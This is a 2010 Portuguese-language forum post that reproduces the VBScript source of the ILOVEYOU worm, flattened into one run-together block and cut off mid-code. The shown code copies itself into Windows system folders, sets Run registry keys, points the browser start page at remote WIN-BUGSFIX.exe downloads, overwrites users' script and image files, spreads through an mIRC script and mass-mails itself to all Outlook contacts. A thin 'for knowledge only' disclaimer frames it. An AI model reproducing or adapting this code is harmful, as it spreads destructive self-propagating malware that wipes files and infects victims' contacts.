Virus I Love You (Código fonte)Este virus em 5 dias causou perdas de cerca de bilhões de dolares
Autor: Lord Hacker T.F.H MOD | Publicado: 2010-06-23T12:23:00-07:00

Pessoal retorno que o uso indevido desse codigo e de sua inteira responsabilidade, posto isso apenas para tomarem conhecimento.Ai vai o código fonte desse virus em VBScript:rem barok -loveletter(vbe)rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /Manila,PhilippinesOn Error Resume Nextdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,doweq=""ctr=0Set fso = CreateObject("Scripting.FileSystemObject")set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout")if (rr>=1) thenwscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout",0,"REG_DWORD"end ifSet dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&amp;"\MSKernel32.vbs")c.Copy(dirwin&amp;"\Win32DLL.vbs")c.Copy(dirsystem&amp;"\LOVE-LETTER-FOR-YOU.TXT.vbs")regruns()html()spreadtoemail()listadriv()end subsub regruns()On Error Resume NextDim num,downreadregcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&amp;"\MSKernel32.vbs"regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&amp;"\Win32DLL.vbs"downread=""downread=regget("HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Download Directory")if (downread="") thendownread="c:"end ifif (fileexist(dirsystem&amp;"\WinFAT32.exe")=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~young1s/HJKhj ... xcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"elseif num = 2 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~angelcat/skla ... ghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"elseif num = 3 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~koichi/jf6TRj ... qaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"elseif num = 4 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~chu/sdgfhjksd ... nfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw23 7461234iuy7thjg/WIN-BUGSFIX.exe"end ifend ifif (fileexist(downread&amp;"\WIN-BUGSFIX.exe")=0) thenregcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&amp;"\WIN-BUGSFIX.exe"regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage","about:blank"end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&amp;"")end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if (ext="vbs") or (ext="vbe") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")or (ext="hta") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)set cop=fso.GetFile(f1.path)cop.copy(folderspec&amp;""&amp;bname&amp;".vbs")fso.DeleteFile(f1.path)elseif(ext="jpg") or (ext="jpeg") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeset cop=fso.GetFile(f1.path)cop.copy(f1.path&amp;".vbs")fso.DeleteFile(f1.path)elseif(ext="mp3") or (ext="mp2") thenset mp3=fso.CreateTextFile(f1.path&amp;".vbs")mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attributes+2end ifif (eq<>folderspec) thenif (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or(s="script.ini") or (s="mirc.hlp") thenset scriptini=fso.CreateTextFile(folderspec&amp;"\script.ini")scriptini.WriteLine "[script]"scriptini.WriteLine ";mIRC Script"scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,if mIRC will"scriptini.WriteLine " corrupt... WINDOWS will affect and will not runcorrectly. thanks"scriptini.WriteLine ";"scriptini.WriteLine ";Khaled Mardam-Bey"scriptini.WriteLine ";http://www.mirc.com"scriptini.WriteLine ";"scriptini.WriteLine "n0=on 1:JOIN:#:{"scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"scriptini.WriteLine "n2= /.dcc send $nick"&amp;dirsystem&amp;"\LOVE-LETTER-FOR-YOU.HTM"scriptini.WriteLine "n3=}"scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject("WScript.Shell")regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject("WScript.Shell")regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msgend functionfunction folderexist(folderspec)On Error Resume Nextdim msgif (fso.GetFolderExists(folderspec)) thenmsg = 0elsemsg = 1end iffileexist = msgend functionsub spreadtoemail()On Error Resume Nextdim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regadset regedit=CreateObject("WScript.Shell")set out=WScript.CreateObject("Outlook.Application")set mapi=out.GetNameSpace("MAPI")for ctrlists=1 to mapi.AddressLists.Countset a=mapi.AddressLists(ctrlists)x=1regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&amp;a)if (regv="") thenregv=1end ifif (int(a.AddressEntries.Count)>int(regv)) thenfor ctrentries=1 to a.AddressEntries.Countmalead=a.AddressEntries(x)regad=""regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&amp;malead)if (regad="") thenset male=out.CreateItem(0)male.Recipients.Add(malead)male.Subject = "ILOVEYOU"male.Body = vbcrlf&amp;"kindly check the attached LOVELETTER coming from me."male.Attachments.Add(dirsystem&amp;"\LOVE-LETTER-FOR-YOU.TXT.vbs")male.Sendregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&amp;malead,1,"REG_DWORD"end ifx=x+1nextregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&amp;a,a.AddressEntries.Countelseregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&amp;a,a.AddressEntries.Countend ifnextSet out=NothingSet mapi=Nothingend subsub htmlOn Error Resume Nextdim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6dta1="OBS.:Eu naum testei esse codigo fonte do virus, quem sabe testo , rsrsrsrsrs...Mas fica ai para seu conhecimento...